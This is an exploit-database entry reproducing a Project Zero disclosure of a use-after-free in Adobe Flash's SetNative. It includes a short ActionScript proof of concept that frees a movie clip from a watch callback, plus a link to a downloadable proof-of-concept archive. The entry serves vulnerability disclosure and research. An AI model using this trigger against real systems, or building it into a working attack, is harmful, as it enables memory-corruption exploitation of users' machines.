Adobe Flash – SetNative Use-After-Free
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=800 There is a use-after-free in SetNative. If a watch is placed on a native that is initialized by SetNative, it can delete the object the set is being called on, leading to a use-after-free. A minimal PoC follows: var t = this.createEmptyMovieClip("t", 1); t.watch("a", func); ASSetNative(t, 106, "a,b"); function func (){ t.removeMovieClip(); } A swf and fla are attached. Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39831.zip |